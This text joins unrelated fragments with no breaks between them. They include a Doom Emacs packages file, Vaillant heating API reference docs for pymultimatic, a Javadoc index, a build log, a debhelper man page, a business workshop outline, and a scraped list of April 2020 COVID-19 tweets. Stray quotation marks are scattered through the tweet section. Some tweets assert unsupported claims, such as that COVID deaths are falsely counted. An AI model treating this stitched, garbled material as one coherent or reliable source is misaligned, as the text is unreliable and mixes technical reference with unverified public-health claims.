Emacs Literate Package Additions
Table of Contents
1About this file
This is an Emacs literate package file and is meant to
compliment
my configuration, as well as
the init.el. It contains the
basic structure along with some data about each package
and why it’s needed. This is to be used in tandem with
the
define-package!
function in
config.org
.
Since it’s primarily aimed at
doom-emacs
let’s add their comments.
;; -*- no-byte-compile: t; -*- ;;; ~/.config/doom/packages.el
1.1About that TOC..
So as mentioned
herethere is trouble when
org-export
tries to create files while
keeping the
org-toc
tag.
It’s not really a problem since
org-export
actually generates a TOC for the
files anyway.
1.2The properties
Basically, the properties set imply that the file is
to be tangled for every block and moreover the output
directory is the
doom-private-dir
. It’s practically self
explanatory but still.
The filename is determined by the
SRC
block languages.
2Aesthetic Packages
2.1Dired Icons
Since treemacs already uses
all-the-icons
it is silly to not use them
in dired, from the
all-the-icons wiki.
( package! all-the-icons-dired )
2.2Wakatime
Not exactly aesthetic, but yeah, for stats.
( package! wakatime-mode )
3LATER Magit Additions
These basically allow for TODOs in magit along with
enhanced github integration. These have been added
upstream in
develop
.
( package! magit-org-todos ) ( package! magithub )
( package! magit-todos )
Actually
magit-todoshas been added upstream which collates all
todo
items. There might still be workflows
where
magit-org-todosis useful since that displays a global
todo.org
file.
4 DONEKey Chords and Keybindings
It turns out that the switch to general.elis both inevitable (doom version 2.1) and very rational. However, I really can’t wait. So.. This is a stop gap solution.
( package! general )
- Remove when it’s merged upstream
5Evil Colemak
I guess I just gave up, from here. Read about why here. The visual line mode setup leverages this package.
( package! evil-colemak-basics ) ( package! evil-better-visual-line )
6Firestarter
For running shell commands on-save.
( package! firestarter )
7Org Additions
The new ones need to be covered in the
config.org
file with the appropriate
keybindings. The notes are
described here.
7.1Org Download
Now I load it here since I don’t use
+attach
.
( package! org-download :recipe ( :host github :repo "abo-abo/org-download" ) )
7.2LATER Org Drill
The actual repohas not been updated in 3 years, so I must use this fork.
( package! org-drill :recipe ( :host github :repo "hakanserce/org-drill" ) )
7.3Org Protocol Updates
This needs to be installed specially, from this repo.
( package! org-protocol-capture-html :recipe ( :host github :repo "alphapapa/org-protocol-capture-html" ) )
7.4 TODOOrg Noter
This is sort of more of a
pdf-tools
extension and it needs it’s own
biblatex
setup and stuff as well so this
might move into a tree of it’s own.
( package! org-noter )
This actually breaks the
pdf-tools
bindings.
7.5Org Ref
This is probably not the best thing in my current
setup.. Now part of the
init.el
setup.
( package! org-ref )
7.6Org Mind Map
Not on MELPA yet. From here.
( package! org-mind-map :recipe ( :host github :repo "theodorewiles/org-mind-map" ) )
7.7Org Rifle
Technically a helm addition. Perfect for monolithic
org
files. More details
here.
( package! helm-org-rifle )
7.8Org Async
We will use this.
( package! org-babel-eval-in-repl )
7.9Anki Mode
This is put here since it only works with
org-mode
stuff.
( package! anki-editor )
7.10Org Re-Reveal Ref
An
extensionto
org-re-reveal-ref
.
( package! org-re-reveal-ref )
7.11Org Roam Bibtex
This should be a part of the main
+roam
setup, but until then.
( package! org-roam-bibtex )
8Dockerfile Mode
For syntax highlighting and inline builds.
From
spotifyweirdly.
## -*- docker-image-name: "your-image-name-here"
-*-
can be used to specify the image name.
( package! dockerfile-mode )
9Reference Management
10Syntax Highlighting
These are additionally required to work with the sort
of files I use often. The configuration and settings are
as usual in
config.org
10.1Tup Mode
Because honestly there isn’t anything better than tup. Who doesn’t need a build system which scales with the eye of Mordor?
( package! tup-mode :recipe ( :host github :repo "ejmr/tup-mode" ) )
10.1.1LATER Caveats
The repo is unmaintained so I ought to fork it and take a look into maintaining it.
10.2SaltStack Mode
I have recently decided that saltstackought to be used for working on multiple systems.
( package! salt-mode :recipe ( :host github :repo "glynnforrest/salt-mode" ) )
10.3PKGBUILD Mode
No point using
emacs
if I can’t get highlighting for all
my needs. This needs some extra configuration.
Must figure out if this is well mantained.
The developer is very responsive to pull requests and
the like.
( package! pkgbuild-mode :recipe ( :host github :repo "juergenhoetzel/pkgbuild-mode" ) )
10.4LAMMPS Mode
This could do with some updates. Will look into
this soon. Also it takesunbearably long this way. Must
figure out how to stop it from downloading the whole
repo.Mantained
by
menow.
( package! lammps-mode :recipe ( :host github :repo "HaoZeke/lammps-mode" ) )
10.5Pug Mode
I just like pugs.
( package! pug-mode )
10.6Nix Mode
For building more cross-os stuff. This is the official package, but will look into binding and using nix-emacsas well.
( package! nix-mode )
10.7JVM Languages
Currently the languages I care about (apart from Java) are:
; Kotlin > Java ( package! kotlin-mode ) ; Groovy -> Testing ( package! groovy-mode )
10.8Systemd Mode
Since I use a lot of user systemd units, it makes sense to have pretty highlighting.
( package! systemd )
10.9Dart Mode
Might eventually want to also get the companion
dart
serversometime, but for now this syntax-highlighter
will do. Might actually want to see if
prettier
has anything for it.
( package! dart-mode )
10.10Wolfram Mode
Actually
wolfram-mode
seems to be able to do more
than just syntax highlighting, but at the moment I just
need font-locking.
( package! wolfram-mode )
10.11Polymode
For working with
.Rmd
files and better
orgmode
R support.
( package! poly-R ) ( package! poly-org )
11Flycheck Additions
11.1MELPA Helper
This is for linting files before submitting to MELPA.
( package! package-lint ) ( package! flycheck-package )
12Snippets
These are from hlissner.
12.1Doom
( package! emacs-snippets :recipe ( :host github :repo "hlissner/emacs-snippets" :files ( "*" ) ) )
12.2Standard
These are from the official snippets repo.
( package! yasnippet-snippets :recipe ( :host github :repo "AndreaCrotti/yasnippet-snippets" :files ( "*" ) ) )
13Math support
I like cdlatex.
( package! cdlatex )


This simple example illustrates how to build an App Engine app which uses the Blogger API to post on a user's blog.
To begin, view the list of your available blogs.


Beep-Boop, I am a number generator.
Please enter a number
My translation is perfect, but not to your human eyes.
Here:
Let's do this.


If Blender is in your PATH, run the following command from the js
directory:
npm run build-examples
Otherwise, or if you haven't understood the previous paragraph, open animations.blend
(in the parent directory) and use the HTML5 Animations add-on to export exported-animations.js
(in this directory) with the default settings.
Afterwards, refresh this page.


CREATIVE BUSINESS LAUNCHER WORKSHOP
Starting up your business
What is my business going to do? | The concept of a ‘corporation’ | Should I be a sole trader or a Limited Company? (or something else?) | What does Limited by Guarantee / Shares mean?
move accountancy to before lunch
Running an efficient company
Email, messaging, and avoiding information overload | How to Not Get Hacked | Running projects and events | How to get ‘in the zone’ and focus
Social Media and Marketing
Targeting your audience | How to get the best use out of the major social media platforms | Twitter, Facebook, Instagram, LinkedIN and others | When to use digital marketing, | When to use ‘traditional’ forms of marketing | When to rely on word of mouth | The Cluetrain Manifesto
* twitter - sign up, choosing a good handle (length--), basic usage (what is a follow, what is a tweet), Quoting tweets in order to flag them to other twitter users, following
How to run a workshop
Running successful workshops | Running workshops at Leigh Hackspace | Advertising a workshop | The difficult issue of Pricing | Online tutorials and YouTube-ing
Accountancy taxation and finances
Do I need an accountant? | What happens with tax and NI? | How should I do the books?
Certificates, Insurance and Legals
Public Liability Insurance | Business Insurances | Indemnity Insurance | CRB and DBS checks |
Selling
Etsy | eBay | Craft Fairs | Workshops
banking, loans, paypal
alternative forms of funding for creative businesses
crowdfunding | grants | donations and open source
registering a domain name
e-commerce, paypal, shopify, magento etc


Low level connector to the API.
Low level connector module.
pymultimatic.api.connector.
Connector
(user: str, password: str, session: aiohttp.client.ClientSession, smartphone_id: str = 'pymultiMATIC')¶This is the low level smart.vaillant.com API connector.
This is returning the raw JSON from responses or an
ApiError
if something goes wrong
(basically, when response error code is 4xx or 5xx).
On the first call, the connector will login automatically (if
login()
was not called previously).
On following calls, the connector will re-use the cookie received from the API. If the connector receives an HTTP 401, it will clear the cookie and try to re-login before raising an ~pymultimatic.api.error.ApiError. This also means the connector is able to reconnect automatically when cookie is outdated.
Please use urls
in order to generate URL to be
passed to the connector.64:36
user (str) – User to login with.
password (str) – Password associated with the user.
session – (aiohttp.ClientSession): Session.
smartphone_id (str) – This is required by the API to login.
delete
(url: str, payload: Optional[Dict[str, Any]] = None) → Any¶Do a delete against vaillant API.
get
(url: str, payload: Optional[Dict[str, Any]] = None) → Any¶Do a get against vaillant API.
is_logged
() → bool¶Check if the connector is already logged in.
It relies in the presence of cookies.
login
(force: bool = False) → bool¶Log in to the API.
By default, the connector
will try to re-use cookies
force (bool) – If set to True
, the connector will clear
the cookie (if any) and start a new authentication, otherwise
it will re-use the existing cookie.
True/False if authentication succeeded or not.
bool
logout
() → bool¶Get logged out of the API.
It first sends a logout
request to the API (it means cookies are
invalidated), then cookies will be cleared, regardless of the result
of the logout
request.
The connector will have to request a new token and ask for cookies if a new request is done.
ApiError – When something went wrong with the API call.
post
(url: str, payload: Optional[Dict[str, Any]] = None) → Any¶Do a post against vaillant API.
put
(url: str, payload: Optional[Dict[str, Any]] = None) → Any¶Do a put against vaillant API.
request
(method: str, url: str, payload: Optional[Dict[str, Any]] = None) → Any¶Do a request against vaillant API.
Vaillant API Urls for multimatic app.
pymultimatic.api.urls.
authenticate
(**kwargs: Any) → str¶Url to authenticate the user and receive cookies.
pymultimatic.api.urls.
base
(**kwargs: Any) → str¶Base url of the API.
pymultimatic.api.urls.
circulation
(**kwargs: Any) → str¶Url to get Circulation
details.
pymultimatic.api.urls.
circulation_configuration
(**kwargs: Any) → str¶Url to handle Circulation
configuration.
pymultimatic.api.urls.
circulation_timeprogram
(**kwargs: Any) → str¶Url to handle Circulation
TimeProgram
.
pymultimatic.api.urls.
delete_repeater
(**kwargs: Any) → str¶Url to delete a repeater.
pymultimatic.api.urls.
dhw
(**kwargs: Any) → str¶Url to get domestic hot water
(HotWater
and
Circulation
).
pymultimatic.api.urls.
emf_report
(**kwargs: Any) → str¶Url to get emf (Embedded Metering Function) report.
pymultimatic.api.urls.
emf_report_device
(energy_type: str, function: str, time_range: str, start: str, offset: str, **kwargs: Any) → str¶Url to get emf (Embedded Metering Function) report for a specific device.
pymultimatic.api.urls.
facilities_default_settings
(**kwargs: Any) → str¶Url to get facility default settings
pymultimatic.api.urls.
facilities_details
(**kwargs: Any) → str¶Url to get facility detail.
pymultimatic.api.urls.
facilities_installer_info
(**kwargs: Any) → str¶Url to get facility default settings.
pymultimatic.api.urls.
facilities_list
(**kwargs: Any) → str¶Url to get the list of serial numbers of the facilities (and some other properties).
Note
For now, the connector only handle one serial number.
pymultimatic.api.urls.
facilities_settings
(**kwargs: Any) → str¶Url to get facility settings.
pymultimatic.api.urls.
facilities_status
(**kwargs: Any) → str¶Url to get facility status.
pymultimatic.api.urls.
gateway_type
(**kwargs: Any) → str¶Url to get the gateway type (VR900, VR920, etc.).
pymultimatic.api.urls.
hot_water
(**kwargs: Any) → str¶Url to get HotWater
detail.
pymultimatic.api.urls.
hot_water_configuration
(**kwargs: Any) → str¶Url to handle HotWater
configuration.
pymultimatic.api.urls.
hot_water_operating_mode
(**kwargs: Any) → str¶Url to set HotWater
operating mode, only if it’s not a quick action.
pymultimatic.api.urls.
hot_water_temperature_setpoint
(**kwargs: Any) → str¶Url to set HotWater
temperature setpoint.
pymultimatic.api.urls.
hot_water_timeprogram
(**kwargs: Any) → str¶Url to handle HotWater
TimeProgram
.
pymultimatic.api.urls.
hvac
(**kwargs: Any) → str¶Url of the hvac overview.
pymultimatic.api.urls.
hvac_update
(**kwargs: Any) → str¶Url to request an hvac update.
pymultimatic.api.urls.
live_report
(**kwargs: Any) → str¶Url to get live report data (current boiler water temperature, current hot water temperature, etc.).
pymultimatic.api.urls.
live_report_device
(**kwargs: Any) → str¶Url to get live report for specific device
pymultimatic.api.urls.
logout
(**kwargs: Any) → str¶Url to logout from the API, cookies are invalidated.
pymultimatic.api.urls.
new_token
(**kwargs: Any) → str¶Url to request a new token.
pymultimatic.api.urls.
photovoltaics
(**kwargs: Any) → str¶Url to get photovoltaics data.
pymultimatic.api.urls.
rbr_installation_status
(**kwargs: Any) → str¶Url to check the room by room installation status.
pymultimatic.api.urls.
rbr_underfloor_heating_status
(**kwargs: Any) → str¶Url to check if underfloor heating is installed or not.
pymultimatic.api.urls.
repeater_name
(**kwargs: Any) → str¶Url to set repeater’s name.
pymultimatic.api.urls.
repeaters
(**kwargs: Any) → str¶Url to get list of repeaters
pymultimatic.api.urls.
room
(**kwargs: Any) → str¶Url to get specific room details (configuration, timeprogram). Or to
delete a Room
.
pymultimatic.api.urls.
room_child_lock
(**kwargs: Any) → str¶Url to handle child lock for all
Device
in a
Room
.
pymultimatic.api.urls.
room_configuration
(**kwargs: Any) → str¶Url to get configuration for a
Room
(name, temperature,
target temperature, etc.).
pymultimatic.api.urls.
room_device_name
(**kwargs: Any) → str¶Set Device
name.
pymultimatic.api.urls.
room_name
(**kwargs: Any) → str¶Set Room
name.
pymultimatic.api.urls.
room_operating_mode
(**kwargs: Any) → str¶Url to set operating for a Room
.
pymultimatic.api.urls.
room_temperature_setpoint
(**kwargs: Any) → str¶Url to handle target temperature for a
Room
.
pymultimatic.api.urls.
room_timeprogram
(**kwargs: Any) → str¶Url to get/update configuration for a class:~pymultimatic.model.component.Room. (name, temperature, target temperature, etc.).
pymultimatic.api.urls.
rooms
(**kwargs: Any) → str¶Url to get the list of Room
.
pymultimatic.api.urls.
set_ventilation_day_level
(**kwargs: Any) → str¶Url to set ventilation day level.
pymultimatic.api.urls.
set_ventilation_night_level
(**kwargs: Any) → str¶Url to set ventilation night level
pymultimatic.api.urls.
set_ventilation_operating_mode
(**kwargs: Any) → str¶Url to set ventilation operating mode.
pymultimatic.api.urls.
system
(**kwargs: Any) → str¶Url to get full System
(zones, dhw,
ventilation, holiday mode, etc.) except
Room
.
pymultimatic.api.urls.
system_configuration
(**kwargs: Any) → str¶Url to get system configuration (holiday mode, quick mode etc.).
pymultimatic.api.urls.
system_datetime
(**kwargs: Any) → str¶Url to set datetime.
pymultimatic.api.urls.
system_holiday_mode
(**kwargs: Any) → str¶Url to get system HolidayMode
.
pymultimatic.api.urls.
system_parameters
(**kwargs: Any) → str¶Url to get system parameters.
pymultimatic.api.urls.
system_quickmode
(**kwargs: Any) → str¶Url to get system QuickMode
.
pymultimatic.api.urls.
system_status
(**kwargs: Any) → str¶Url to get outdoor temperature and datetime.
pymultimatic.api.urls.
ventilation
(**kwargs: Any) → str¶Url to get ventilation details.
pymultimatic.api.urls.
ventilation_configuration
(**kwargs: Any) → str¶Url to get ventilation configuration.
pymultimatic.api.urls.
ventilation_timeprogram
(**kwargs: Any) → str¶Url to get ventilation timeprogram.
pymultimatic.api.urls.
zone
(**kwargs: Any) → str¶Url to get a specific Zone
.
pymultimatic.api.urls.
zone_configuration
(**kwargs: Any) → str¶Url to get a specific Zone
configuration.
pymultimatic.api.urls.
zone_cooling_configuration
(**kwargs: Any) → str¶Url to get a Zone
cooling
configuration.
pymultimatic.api.urls.
zone_cooling_manual_setpoint_temperature
(**kwargs: Any) → str¶Url to set manual cooling setpoint temperature for a
Zone
.
pymultimatic.api.urls.
zone_cooling_mode
(**kwargs: Any) → str¶Url to set a Zone
cooling mode.
pymultimatic.api.urls.
zone_cooling_setpoint_temperature
(**kwargs: Any) → str¶Url to set the cooling temperature setpoint for a
Zone
.
pymultimatic.api.urls.
zone_cooling_timeprogram
(**kwargs: Any) → str¶Url to get Zone
cooling
timeprogram.
pymultimatic.api.urls.
zone_heating_configuration
(**kwargs: Any) → str¶Url to get Zone
heating
configuration.
pymultimatic.api.urls.
zone_heating_mode
(**kwargs: Any) → str¶Url to get a Zone
heating mode.
pymultimatic.api.urls.
zone_heating_setback_temperature
(**kwargs: Any) → str¶Url to set a Zone
setback
temperature.
pymultimatic.api.urls.
zone_heating_setpoint_temperature
(**kwargs: Any) → str¶Url to set a Zone
setpoint
temperature.
pymultimatic.api.urls.
zone_heating_timeprogram
(**kwargs: Any) → str¶Url to get a Zone
heating
TimeProgram
.
pymultimatic.api.urls.
zone_name
(**kwargs: Any) → str¶Url to set Zone
name.
pymultimatic.api.urls.
zones
(**kwargs: Any) → str¶Url to get Zone
.
Groups all API payloads. Payload are always json formatted.
pymultimatic.api.payloads.
holiday_mode
(active: bool, start_date: datetime.date, end_date: datetime.date, temperature: float) → Dict[str, Any]¶Payload to set HolidayMode
.
pymultimatic.api.payloads.
hot_water_operating_mode
(mode: str) → Dict[str, Any]¶Payload to set operating mode for
HotWater
.
pymultimatic.api.payloads.
hotwater_temperature_setpoint
(temperature: float) → Dict[str, Any]¶Payload used to set target temperature for
HotWater
.
pymultimatic.api.payloads.
quickmode
(quick_mode: str, duration: Optional[int] = None) → Dict[str, Any]¶Payload to set QuickMode
for the
system.
Duration is mandatory (Duration is in minutes, max 1440 =24 hours).
pymultimatic.api.payloads.
room_operating_mode
(mode: str) → Dict[str, Any]¶Payload to set operating mode for
Room
.
pymultimatic.api.payloads.
room_quick_veto
(temperature: float, duration: Optional[int]) → Dict[str, Any]¶Payload to set a QuickVeto
for a
Room
.
Duration is mandatory (Duration is in minutes, max 1440 =24 hours).
pymultimatic.api.payloads.
room_temperature_setpoint
(temperature: float) → Dict[str, Any]¶Payload used to set target temperature for
Room
.
pymultimatic.api.payloads.
ventilation_operating_mode
(mode: str) → Dict[str, Any]¶Payload to set operating mode for
Ventilation
.
pymultimatic.api.payloads.
zone_operating_mode
(mode: str) → Dict[str, Any]¶Payload to set operating mode for
Zone
.
pymultimatic.api.payloads.
zone_quick_veto
(temperature: float) → Dict[str, Any]¶Payload to set a QuickVeto
for a
Zone
.
The duration is not configurable by the API, it’s 6 hours
pymultimatic.api.payloads.
zone_temperature_setback
(temperature: float) → Dict[str, Any]¶Payload used to set setback temperature for
Zone
.
pymultimatic.api.payloads.
zone_temperature_setpoint
(temperature: float) → Dict[str, Any]¶Payload used to set target temperature for
Zone
.


The Wiked UI package.
Consists of a set of wizards, preference and property pages. For actions, see action subpackage. For editor, see editor subpackage.


- vals - Variable in class com.travelbank.knitprocessor.model.KnitModelMirror
-
- ValueGenerator - Interface in com.travelbank.knit.generators
-
Base class for all value generators used by
KnitModel
s.
- valueOf(String) - Static method in enum com.travelbank.knit.components.graph.EntityType
-
Returns the enum constant of this type with the specified name.
- valueOf(String) - Static method in enum com.travelbank.knit.InstanceType
-
Returns the enum constant of this type with the specified name.
- valueOf(String) - Static method in enum com.travelbank.knit.schedulers.KnitSchedulers
-
Returns the enum constant of this type with the specified name.
- valueOf(String) - Static method in enum com.travelbank.knit.viewevents.KnitTextChangedEvent.State
-
Returns the enum constant of this type with the specified name.
- valueOf(String) - Static method in enum com.travelbank.knit.viewevents.TabSelectedEvent.State
-
Returns the enum constant of this type with the specified name.
- values() - Static method in enum com.travelbank.knit.components.graph.EntityType
-
Returns an array containing the constants of this enum type, in
the order they are declared.
- values() - Static method in enum com.travelbank.knit.InstanceType
-
Returns an array containing the constants of this enum type, in
the order they are declared.
- values() - Static method in enum com.travelbank.knit.schedulers.KnitSchedulers
-
Returns an array containing the constants of this enum type, in
the order they are declared.
- values() - Static method in enum com.travelbank.knit.viewevents.KnitTextChangedEvent.State
-
Returns an array containing the constants of this enum type, in
the order they are declared.
- values() - Static method in enum com.travelbank.knit.viewevents.TabSelectedEvent.State
-
Returns an array containing the constants of this enum type, in
the order they are declared.
- ViewAttachmentStubber(AttachmentMap) - Constructor for class com.travelbank.knit.AttachmentMap.ViewAttachmentStubber
-
- ViewEvent - Annotation Type in com.travelbank.knit
-
Methods that listen to events fired from Views need to be annotated with these.
- ViewEventEnv - Class in com.travelbank.knit.viewevents
-
View Event Environment.
- ViewEventEnv(String, View) - Constructor for class com.travelbank.knit.viewevents.ViewEventEnv
-
- ViewEventEnv() - Constructor for class com.travelbank.knit.viewevents.ViewEventEnv
-
- viewEventMethods - Variable in class com.travelbank.knitprocessor.vp.KnitPresenterMirror
-
- ViewEventPool<T extends ViewEventEnv> - Class in com.travelbank.knit.viewevents
-
- ViewEventPool() - Constructor for class com.travelbank.knit.viewevents.ViewEventPool
-
- ViewEvents - Class in com.travelbank.knit
-
A hub for all view events.
- ViewEvents(Knit) - Constructor for class com.travelbank.knit.ViewEvents
-
- ViewToPresenterMapInterface - Interface in com.travelbank.knit
-
- ViewToPresenterMapWriter - Class in com.travelbank.knitprocessor.vp
-
Created by omerozer on 2/6/18.
- ViewToPresenterMapWriter() - Constructor for class com.travelbank.knitprocessor.vp.ViewToPresenterMapWriter
-
- visitClass(UClass) - Method in class com.travelbank.knitlint.DetectorHandler
-


Build started on: 06-02-2012 at 16:55.46
Build ended on: 06-02-2012 at 16:55.48
-------------- Build: Debug in Project_pattern ---------------
Compiling: project_pattern.cpp
Linking console executable: bin/Debug/Project_pattern
Output size is 43.30 KB
Process terminated with status 0 (0 minutes, 1 seconds)
0 errors, 0 warnings


.selector content
.secondary-selector content
examined paragraph content 1
/^examined [a-z]+ content [0-9]$/


--- layout: default title: Education Mergers ---
These are the education companies that have merged since 2015.
2018
{% assign mergers = site.data.mergers.2018 %} {% assign mergers = mergers | sort:"Name1" %} {% for merger in mergers %}2017
{% assign mergers = site.data.mergers.2017 %} {% assign mergers = mergers | sort:"Name1" %} {% for merger in mergers %}2016
{% assign mergers = site.data.mergers.2016 %} {% assign mergers = mergers | sort:"Name1" %} {% for merger in mergers %}2015
{% assign mergers = site.data.mergers.2015 %} {% assign mergers = mergers | sort:"Name1" %} {% for merger in mergers %}This data is powered by a GitHub repository: Hack-Education-Data/mergers. Last updated 1 November 2018


DH_GCONF(1) Debhelper DH_GCONF(1) NAME dh_gconf - install GConf defaults files and register schemas SYNOPSIS dh_gconf [debhelperÂ options] [--priority=priority] DESCRIPTION dh_gconf is a debhelper program that is responsible for installing GConf defaults files and registering GConf schemas. An appropriate dependency on gconf2 will be generated in ${misc:Depends}. FILES debian/package.gconf-defaults Installed into usr/share/gconf/defaults/10_package in the package build directory, with package replaced by the package name. debian/package.gconf-mandatory Installed into usr/share/gconf/mandatory/10_package in the package build directory, with package replaced by the package name. OPTIONS --priority priority Use priority (which should be a 2-digit number) as the defaults priority instead of 10. Higher values than ten can be used by derived distributions (20), CDD distributions (50), or site-specific packages (90). SEE ALSO debhelper(7) This program is a part of debhelper. AUTHOR Ross Burton<EMAIL_ADDRESS>Josselin Mouette<EMAIL_ADDRESS>9.20120909 2011-09-12 DH_GCONF(1)


| No | Name | Address | Gender | Status |
|---|---|---|---|---|
| 1 | Anto | XX | Male | Active |
| 2 | Anto | XX | Male | Active |
| 3 | Anto | XX | Male | Active |
| No | Name | Address | Gender | Status |
|---|---|---|---|---|
| 1 | Anto | XX | Male | Active |
| 2 | Anto | XX | Male | Active |
| No | Name | Address | Gender | Status |
|---|---|---|---|---|
| 1 | Anto | XX | Male | Active |
| 2 | Anto | XX | Male | Active |
| No | Name | Address | Gender | Status |
|---|---|---|---|---|
| 1 | Anto | XX | Male | Active |


I’m glad I took a leave of absence from work. My mom just sent me two articles where people in the area have "tested "positive for "COVID-19.... Took me a couple weeks longer than it should have but I’m glad to be safe at home now!!!! |
0 |
0 |
原文 |
|
|
| 83491 |
4/11/2020 20:08 |
Did I read that correctly...
The patient had severe respiratory illness in DECEMBER, and later "tested "positive for "Covid-19 antibodies?
In February I came down with something I've never endured before.  Begged for lab work. Told no. |
0 |
3 |
原文 |
|
|
| 83493 |
4/11/2020 20:06 |
Someone at my husbands work place, whom he worked closely with, "tested "positive for "covid.
I’ve never been happier he likely already had it three weeks ago. |
0 |
1 |
原文 |
|
|
| 83494 |
4/11/2020 20:03 |
I am sitting waiting for the call that my Dad has died. Contracted "coronavirus at his nursing home. 39 "tested "positive . Aides were asymptomatic so continued caring for elders thus giving them the virus. Why weren’t people taking care of our most vulnerable not "tested !! |
0 |
0 |
原文 |
|
|
| 83495 |
4/11/2020 20:02 |
Thinking about the big crowds of people at the Sydney Fish Markets yesterday. They all received a temperature check. I just listened to @Pink interview. She talks thru her symptoms (she got "tested "positive for "Covid) Sore throat, hard to breath, nauseous but ZERO temperature |
0 |
0 |
原文 |
|
|
| 83498 |
4/11/2020 19:59 |
Dr. Birx said herself that if someone dies, even from something else, and they "tested "positive , they are counted as "covid-19 death. I’m not an expert but I’m also not naive. We’re being lied to. Forced into quarantine under false pretenses. Believe whatever you want. |
0 |
1 |
原文 |
|
|
| 83499 |
4/11/2020 19:58 |
texas is ranked 51st for "coronavirus "testing in the US (not to mention the roughly 10% "positive rate of the people who have been "tested ) and greg abbott is like “fuck it, we good”........ i hate it here https:// twitter.com/KelemenCari/st atus/1248754016881967104 … |
0 |
1 |
原文 |
|
|
| 83500 |
4/11/2020 19:58 |
Really ?I guess becos ur family are safe without being "tested "positive to "Covid 19 then u can activate ur brain and fingers to open a discussion about votes for an upcoming election! Overcome this present challenge in this dam country.People are dying |
0 |
0 |
原文 |
|
|
| 83501 |
4/11/2020 19:58 |
@ GiantFood I just found out today that four of your employees "tested "positive for "COVID-19 at the Waldorf, MD location. Why was this not made public? There are hundreds of people who shop there and who may have come in contact with these people. |
0 |
1 |
原文 |
|
|
| 83507 |
4/11/2020 19:51 |
I have a 51 yo daughter working in the medical world. She "tested "positive for the "Coronavirus yesterday. She’s at home w FaceTime to her doc. I’m the Sister on the Fly that introduced you in Waxahatchie last year when y’all played in the Gazebo. |
0 |
2 |
原文 |
|
|
| 83520 |
4/11/2020 19:41 |
What do you call a cop that "tests "positive for "covid?
answer: swine flu!
 I know too many people personally that "tested "positive . My family and the town don’t know how to stay home for an extended period. My aunt went to the store three times this week. #"COVID19 https://www. clickondetroit.com/news/local/202 0/04/11/4-employees-at-metro-detroit-kroger-stores-die-from-"covid-19/?utm_source=facebook&utm_medium=social&utm_campaign=snd&utm_content=wdiv … |
0 |
0 |
原文 |
|
|
| 83523 |
4/11/2020 19:39 |
If you’re in Roch, I have family member who works at Strong. Their friend works at assisted living facility where 20 asymptomatic ppl were "tested ; 18 came back as "positive for "Covid antibodies. Very good news. |
0 |
2 |
原文 |
|
|
| 83524 |
4/11/2020 19:38 |
I really start to question people’s character especially when you know you "tested "positive . So you decide you’re going to walk into a facility to expose others because you don’t believe you have "COVID? |
0 |
1 |
原文 |
|
|
| 83530 |
4/11/2020 19:33 |
How many flights are coming , will there be flight coming from amritsar , I have "tested "positive for "coronavirus
And I am here by myself unable to take care of myself also I am diabetic , I need my wife here immediately, please help |
0 |
0 |
原文 |
|
|
| 83531 |
4/11/2020 19:32 |
I don’t know Ms. Doris Larmore, but she’s been on my mind.
We ran her story last week — stuck at a MD nursing home — with a "Coronavirus outbreak.
She’s 72 y/o with lots of health issues and desperately wanted to leave.
Today her family said she "tested "positive .
@wusa9 pic.twitter.com/INDDLKBMxO |
5 |
23 |
原文 |
|
|
| 83536 |
4/11/2020 19:27 |
I've been out of work sick for a week, I mean I'm better now, but my friend just told me someone "tested "positive for #"COVID19 in our store. A cashier.  I commend them wanting to entertain us, but it’s probably time to shut it down. Safety wise, content wise, and PR wise, it would be much more responsible... |
0 |
0 |
原文 |
|
|
| 83538 |
4/11/2020 19:25 |
So sad and did I hear the he also "tested "positive for "Covid-19? |
0 |
0 |
原文 |
|
|
| 83542 |
4/11/2020 19:22 |
There was a tweet a few days ago by a psychiatry resident who had had a brief febrile illness in March. I don’t think she was ever "tested for "COVID-19 infection, but she is now "testing "positive for antibodies and will be plasma donor. |
0 |
4 |
原文 |
|
|
| 83545 |
4/11/2020 19:21 |
Hiiiii sorry this is random but is your sister okay? Cause correct me if I’m wrong but you said your sister got "tested "positive for "covid-19. Either ways I hope your family is safe and you have a wonderful Easter |
0 |
15 |
原文 |
|
|
| 83547 |
4/11/2020 19:20 |
Hey loves. Mom and I have both "tested "positive for "Coronavirus. But we’re okay!!!!! Taking it easy for the next two weeks. I’ll be making a new life update/ramble next week |
1 |
91 |
原文 |
|
|
| 83548 |
4/11/2020 19:20 |
Ok so I "tested "positive for "COVID-19 https:// proudwweworldwidefans.wordpress.com/2020/04/11/ok- so-i-"tested-"positive-for-"covid-19/ … |
0 |
0 |
原文 |
|
|
| 83549 |
4/11/2020 19:19 |
There is not a single document or statement out there which even remotely suggests a car accident would be attributed to "covid merely because the driver "tested "positive .
Idiocy.
That said, I would expect nothing less from a Trump voter. |
0 |
4 |
原文 |
|
|
| 83552 |
4/11/2020 19:19 |
Hey #DOC - specifically autoimmune diabetics who have "tested "positive for #"COVID - did your BG go wonky in the days leading up to fever & cough? I have fears. Day 2 of a headache, low running BGs and tonight I can't taste anything. |
0 |
2 |
原文 |
|
|
| 83553 |
4/11/2020 19:18 |
Ok so I just "tested "positive for "COVID-19 https:// auraboltsanime.wordpress.com/2020/04/11/ok- so-i-just-"tested-"positive-for-"covid-19/ … |
0 |
0 |
原文 |
|
|
| 83557 |
4/11/2020 19:16 |
Ok so I "tested "positive for "COVID-19 … https://sereneadvent uresupportandconsulting.wordpress.com/2020/04/11/ok- so-i-"tested-"positive-for-"covid-19/ … |
0 |
0 |
原文 |
|
|
| 83559 |
4/11/2020 19:15 |
Ok so I "tested "positive for "COVID-19 https:// auraboltsgameblog.wordpress.com/2020/04/11/ok- so-i-"tested-"positive-for-"covid-19/ … |
0 |
0 |
原文 |
|
|
| 83560 |
4/11/2020 19:13 |
Ok so I just "tested "positive for "COVID-19 https:// whyiknowthebibleistruth.wordpress.com/2020/04/11/ok- so-i-just-"tested-"positive-for-"covid-19/ … |
0 |
0 |
原文 |
|
|
| 83573 |
4/11/2020 19:04 |
I AM SOO SICK OF YOU SELFISH ASSHOLES THAT KEEP COMING TO URGENT CARE KNOWNING YOU "TESTED "POSITIVE FOR FUCKING "COVID |
0 |
2 |
原文 |
|
|
| 83577 |
4/11/2020 19:02 |
So like my girls dad just "tested "positive for "corona virus and I be giving him hand shakes and shit :/ |
0 |
65 |
原文 |
|
|
| 83580 |
4/11/2020 19:00 |
I TRULY HOPE they are Wrong!
WHO to investigate recovered "COVID-19 patients "testing "positive claim
“The number of patients who were believed to have been cleared of the "coronavirus but later "tested "positive jumped from 51 on Monday to 91 on Friday”
https://www. businessinsider.com/who-investigat es-reports-recovered-"coronavirus-patients-"testing-"positive-again-2020-4 … |
3 |
2 |
原文 |
|
|
